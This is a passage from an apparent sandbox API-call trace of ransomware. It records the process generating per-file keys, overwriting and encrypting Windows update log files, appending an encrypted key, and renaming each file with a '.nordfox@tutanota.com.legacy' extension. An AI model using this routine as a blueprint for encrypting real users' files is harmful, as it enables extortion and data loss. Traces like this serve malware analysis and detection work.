Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0116.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0116.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0116.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0116.874] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl", dwFileAttributes=0x80) returned 1 [0116.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6b70 [0116.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6b70 | out: hHeap=0x520000) returned 1 [0116.875] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.875] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.875] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.888] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.888] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.888] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.889] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.889] WriteFile (in: hFile=0x694, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.889] CloseHandle (hObject=0x694) returned 1 [0116.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0116.889] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0116.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0116.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0116.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0116.906] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0116.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0116.907] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl", dwFileAttributes=0x80) returned 1 [0116.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0116.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0116.907] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.908] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20480) returned 1 [0116.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5000) returned 0x60dbe8 [0116.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5000) returned 0x612bf0 [0116.908] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5000, lpOverlapped=0x0) returned 1 [0116.924] SetFilePointer (in: hFile=0x694, lDistanceToMove=-20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.925] WriteFile (in: hFile=0x694, lpBuffer=0x612bf0*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5000, lpOverlapped=0x0) returned 1 [0116.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612bf0 | out: hHeap=0x520000) returned 1 [0116.926] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5000 [0116.926] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.926] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.927] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.927] WriteFile (in: hFile=0x694, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.927] CloseHandle (hObject=0x694) returned 1 [0116.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0116.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0116.927] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e69a8 | out: hHeap=0x520000) returned 1 [0116.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e69a8 [0116.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0116.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0116.930] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0116.930] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0116.930] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl", dwFileAttributes=0x80) returned 1 [0116.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.930] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.931] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4096) returned 1 [0116.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x605cd8 [0116.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x5feca0 [0116.931] ReadFile (in: hFile=0x694, lpBuffer=0x605cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x605cd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0116.945] SetFilePointer (in: hFile=0x694, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.946] WriteFile (in: hFile=0x694, lpBuffer=0x5feca0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5feca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0116.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x605cd8 | out: hHeap=0x520000) returned 1 [0116.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5feca0 | out: hHeap=0x520000) returned 1 [0116.946] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1000 [0116.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.947] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.947] WriteFile (in: hFile=0x694, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.947] CloseHandle (hObject=0x694) returned 1 [0116.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0116.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0116.947] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e69a8 | out: hHeap=0x520000) returned 1 [0116.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f00 | out: hHeap=0x520000) returned 1 [0116.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e69a8 [0116.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0116.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0116.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.950] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl", dwFileAttributes=0x80) returned 1 [0116.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0116.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0116.950] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.951] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0116.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0116.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0116.951] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.968] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.968] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0116.968] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0116.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.969] WriteFile (in: hFile=0x694, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.969] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.969] CloseHandle (hObject=0x694) returned 1 [0116.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0116.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.969] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e69a8 | out: hHeap=0x520000) returned 1 [0116.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0116.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0116.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0116.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0116.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0116.972] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl", dwFileAttributes=0x80) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.973] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.973] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.973] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.978] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.978] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.979] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.979] WriteFile (in: hFile=0x694, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.980] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.980] CloseHandle (hObject=0x694) returned 1 [0116.980] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0116.980] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0116.980] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0116.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7290 | out: hHeap=0x520000) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f00 [0116.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0116.982] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.982] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0116.982] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl", dwFileAttributes=0x80) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0116.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0116.983] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.983] 